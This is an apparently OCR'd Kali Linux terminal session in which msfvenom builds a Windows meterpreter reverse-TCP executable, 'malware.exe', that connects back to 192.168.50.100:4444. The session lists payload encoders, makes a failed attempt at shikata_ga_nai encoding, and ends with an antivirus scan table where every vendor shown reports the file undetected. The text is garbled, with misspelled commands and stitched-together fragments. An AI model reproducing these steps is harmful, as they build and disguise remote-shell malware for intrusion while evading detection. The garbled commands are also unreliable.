

```
(kali@kali)~$ nsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.50.100 LPORT=4444 -f exe -o malware.exe

[-] No platform was selected, choosing Mfr::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: malware.exe

(kali@kali)~$ nsfvenom --list encoders

Framework Encoders [--encoder <value>]

Name      Rank      Description
----      -
cmd/base64    good      Base64 Command Encoder
cmd/brace    low       Bash Brace Expansion Command Encoder
cmd/echo      good      Echo Command Encoder
cmd/generic_sh manual    Generic Shell Variable Substitution Command Encoder
cmd/ifs       low       Bourne $(IFS) Substitution Command Encoder
cmd/perl     normal    Perl Command Encoder
cmd/powershell_base64 excellent  Powershell Base64 Command Encoder
cmd/printf_php_mq manual    printf() via PHP magic_quotes Utility Command Encoder
generic/ehcar manual    The "ehcar" Encoder
mipsbe/byte_xori normal    Byte XORi Encoder
mipsbe/longxor normal    XOR Encoder
mipsle/byte_xori normal    Byte XORi Encoder
mipsle/longxor normal    XOR Encoder
php/base64    great     PHP Base64 Encoder
php/hex       great     PHP Hex Encoder
php/minify    great     PHP Minify Encoder
ppc/longxor   normal    PPC LongXOR Encoder
ppc/longxor_tag normal    PPC LongXOR Encoder
ruby/base64   great     Ruby Base64 Encoder
sparc/longxor_tag normal    SPARC DWORD XOR Encoder
x64/xor       normal    XOR Encoder
x64/xor_context normal    Hostname-based Context Keyed Payload Encoder
x64/xor_dynamic normal    Dynamic key XOR Encoder
x64/zutto_dekuru manual    Zutto Dekuru
x86/add_sub   manual    Add/Sub Encoder
x86/alpha_mixed low       Alpha2 Alphanumeric Mixedcase Encoder
x86/alpha_upper low       Alpha2 Alphanumeric Uppercase Encoder
x86/avoid_underscore_tolower manual    Avoid underscore/tolower
x86/avoid_utf8_tolower manual    Avoid UTF8/tolower
x86/bloxor   manual    Bloxor - A Metamorphic Block Based XOR Encoder
x86/bmp_polyglot manual    BMP Polyglot
x86/call4_dword_xor normal    Call4 Dword XOR Encoder
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(kali@kali)~$ nsfconsole -p windows/meterpreter/reverse_tcp LHOST=192.168.50.100 -e x86/shikata_ga_nai -i 5 -f exe -o malware.exe

/usr/share/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:43:in 'initialize': ambiguous option: -e (OptionParser::AmbiguousOption)
From /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in 'new'
From /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in 'parsed_options'
From /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in 'require_environment'
From /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in 'start'
From /usr/bin/msfconsole:23:in '<main>'
/usr/share/metasploit-framework/lib/metasploit/framework/parsed_options/base.rb:43:in 'initialize': invalid option: e (OptionParser::InvalidOption)
Did you mean?
  From /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in 'new'
  From /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:69:in 'parsed_options'
  From /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:47:in 'require_environment'
  From /usr/share/metasploit-framework/lib/metasploit/framework/command/base.rb:81:in 'start'
  From /usr/bin/msfconsole:23:in '<main>'

(kali@kali)~$ nsfconsole

Metasploit tip: Search can apply complex filters such as search cve:2009
type:exploit, see all the filters with help search

> it looks like you're trying to run a module
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Security vendors' analysis		Do you want to automate checks?	
AhnLab-V3	 Undetected	AliCloud	 Undetected
ALYac	 Undetected	Antiy-AVL	 Undetected
Arcabit	 Undetected	Avast	 Undetected
AVG	 Undetected	Avira (no cloud)	 Undetected
Baidu	 Undetected	BitDefender	 Undetected
Bkav Pro	 Undetected	ClamAV	 Undetected
CMC	 Undetected	CrowdStrike Falcon	 Undetected
Cynet	 Undetected	DrWeb	 Undetected
Emsisoft	 Undetected	eScan	 Undetected
ESET-NOD32	 Undetected	Fortinet	 Undetected
GData	 Undetected	Google	 Undetected